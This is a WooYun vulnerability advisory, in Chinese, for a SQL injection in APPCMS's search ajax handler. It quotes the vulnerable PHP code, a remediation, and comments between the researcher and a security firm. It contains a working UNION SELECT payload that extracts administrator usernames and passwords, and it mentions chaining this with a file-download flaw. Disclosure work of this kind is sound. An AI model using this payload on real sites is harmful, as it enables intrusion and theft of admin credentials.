当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-045643

漏洞标题:APPCMS注射漏洞

相关厂商:appcms.cc

漏洞作者: phith0n

提交时间:2013-12-11 18:11

修复时间:2014-03-08 18:12

公开时间:2014-03-08 18:12

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-11: 细节已通知厂商并且等待厂商处理中
2013-12-16: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-02-09: 细节向核心白帽子及相关领域专家公开
2014-02-19: 细节向普通白帽子公开
2014-03-01: 细节向实习白帽子公开
2014-03-08: 细节向公众公开

简要描述:

前台sql注射漏洞可爆后台密码,但在不知道后台地址及安全码的情况下略显鸡肋。。

详细说明:

  APPCMS是一款面向安卓应用的建站CMS,我们可以轻松地利用appcms建立一个发布、收集安卓APP的CMS。
  这里是默认安装好的首页,感觉做的还挺不错,有点安卓市场的范儿。

001.jpg


  
  下载最新版本appcms_1.3.890。
  查看index.php,有一段似乎是限制了搜索词的代码:

if (!preg_match("/^[\x{4e00}-\x{9fa5}\w {0}]+$/u", $_GET['q'])) {
die('搜索词只允许下划线,数字,字母,汉字和空格,请重新输入。点此<a href ="' . SITE_PATH . '">回到首页</a>');
}


所以当我们在首页搜索含有“'”的关键词时会有提示:

002.jpg


  
  但我们往前看,却发现了一段输出ajax的代码,这时候并没有过滤……所以注入由此产生:

//ajax请求联想关键字
if (trim($_GET['q']) != '' && !isset($_GET['tpl'])) {
$str = '';
$sql = "SELECT app_id,app_title,app_down FROM " . TB_PREFIX . "app_list WHERE app_title LIKE '%" . trim($_GET['q']) . "%' LIMIT 15";
$app_list = $dbm ->query($sql);
if (count($app_list['list']) > 0) {
foreach ($app_list['list'] as $k => $v){
$app_list['list'][$k]['app_title'] = helper :: utf8_substr($v['app_title'], 0, 20);
}
echo json_encode($app_list['list']);
exit;
} else {
exit;
}
}


  当$_GET[‘q’]非空且$_GET[‘tpl’]为空时进入这个IF,因为刚才我们搜索的时候参数是这样:?tpl=search&q='sd,所以才没有进入这个if。
  我们看到这个if语句中,直接把trim($_GET[‘q’])带入了select语句,造成了注入。
  给出利用exp:

xxoo'union select 1,uname,upass from appcms_admin_list where uid like '


  
  不过爆出了管理员密码也有点鸡肋,因为这个cms强制让用户修改后台地址,而且后台登录也选择性地有“安全码”。不过结合之前一个任意文件下载漏洞,也能读到安全码~

漏洞证明:

测试官网主站的时候失败了,可能主站不一样,但是官方演示站和本地用最新版搭建的都可以注入。
演示站:

004.jpg


本地:

003.jpg

修复方案:

将那一段正在匹配放到最前面来~

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-03-08 18:12

厂商回复:

最新状态:

2013-12-16:已修复


漏洞评价:

评论

  1. 2013-12-16 22:39 | 乌云合作伙伴-知道创宇(乌云厂商)

    洞主分析有错误把!if (!preg_match("/^[\x{4e00}-\x{9fa5}\w {0}]+$/u", $_GET['q'])) { die('搜索词只允许下划线,数字,字母,汉字和空格,请重新输入。点此<a href ="' . SITE_PATH . '">回到首页</a>'); }这里直接die了。。。 至于你外网目标测试成功 应该是老版本的 ?

  2. 2013-12-16 23:10 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    @乌云合作伙伴-知道创宇 我下的那个版本ajax的那部分在这个die前面,现在最新的版本我不知道。我在详情里说清楚了。

  3. 2013-12-16 23:12 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    @乌云合作伙伴-知道创宇 我发出来以后官方就修复了,然后官方也不给评分。。到头来都算在我头上?……我最后的解决方案里说的就是把那个if放到ajax前面

  4. 2013-12-17 13:31 | 乌云合作伙伴-知道创宇(乌云厂商)

    哦 这样啊 建议分析的时候 写清楚比较靠谱。因为我们分析发现这个die判断在ajax之前

  5. 2013-12-17 13:32 | 乌云合作伙伴-知道创宇(乌云厂商)

    @phith0n 嗯 开始之看了你的分析 没看你的修补建议了 看来是官方不靠谱啊 :)

  6. 2013-12-17 15:08 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    @乌云合作伙伴-知道创宇 嗯。。对呀。。这厂商……

  7. 2014-01-15 19:49 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    @xsser 这种漏洞厂商忽略了,没有rank了吗?还有另外一个appcms的,也忽略了